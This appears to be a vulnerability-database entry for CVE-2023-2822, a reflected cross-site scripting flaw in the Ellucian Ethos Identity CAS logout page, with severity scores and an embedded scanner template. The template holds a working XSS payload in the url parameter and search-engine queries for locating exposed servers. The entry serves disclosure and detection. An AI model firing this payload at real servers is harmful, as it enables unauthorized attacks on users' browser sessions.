5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
5.1 Medium
AI Score
Confidence
High
0.057 Low
EPSS
Percentile
93.4%
A vulnerability was found in Ellucian Ethos Identity up to 5.10.5. It has been classified as problematic. Affected is an unknown function of the file /cas/logout. The manipulation of the argument url leads to cross site scripting. It is possible to launch the attack remotely.
id: CVE-2023-2822
info:
name: Ellucian Ethos Identity CAS - Cross-Site Scripting
author: Guax1
severity: medium
description: |
A vulnerability was found in Ellucian Ethos Identity up to 5.10.5. It has been classified as problematic. Affected is an unknown function of the file /cas/logout. The manipulation of the argument url leads to cross site scripting. It is possible to launch the attack remotely.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: Upgrading to version 5.10.6 is able to address this issue. It is recommended to upgrade the affected component.
reference:
- https://medium.com/@cyberninja717/685bb1675dfb
- https://medium.com/@cyberninja717/reflected-cross-site-scripting-vulnerability-in-ellucian-ethos-identity-cas-logout-page-685bb1675dfb
- https://vuldb.com/?ctiid.229596
- https://vuldb.com/?id.229596
- https://github.com/cberman/CVE-2023-2822-demo
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-2822
cwe-id: CWE-79
epss-score: 0.05264
epss-percentile: 0.9303
cpe: cpe:2.3:a:ellucian:ethos_identity:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: ellucian
product: ethos_identity
shodan-query:
- html:"Ellucian Company"
- http.html:"ellucian company"
fofa-query: body="ellucian company"
google-query: "login with ellucian ethos identity"
tags: cve2023,cve,cas,xss,ellucian
http:
- method: GET
path:
- '{{BaseURL}}/cas/logout?url=https://oast.pro"><img%20src=x%20onerror=alert(document.domain)>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src=x onerror=alert(document.domain)>'
- 'Identity Server'
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502203ae64bd3cc36ccd3c52debfd02f43bf19862246f1fd8ef1b705625959d341f8a022100c90f789a33e2667c2fe0f33bd9110d6cdae42c665fc455452870f4c553772a28:922c64590222798bb761d5b6d8e72950
5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
5.1 Medium
AI Score
Confidence
High
0.057 Low
EPSS
Percentile
93.4%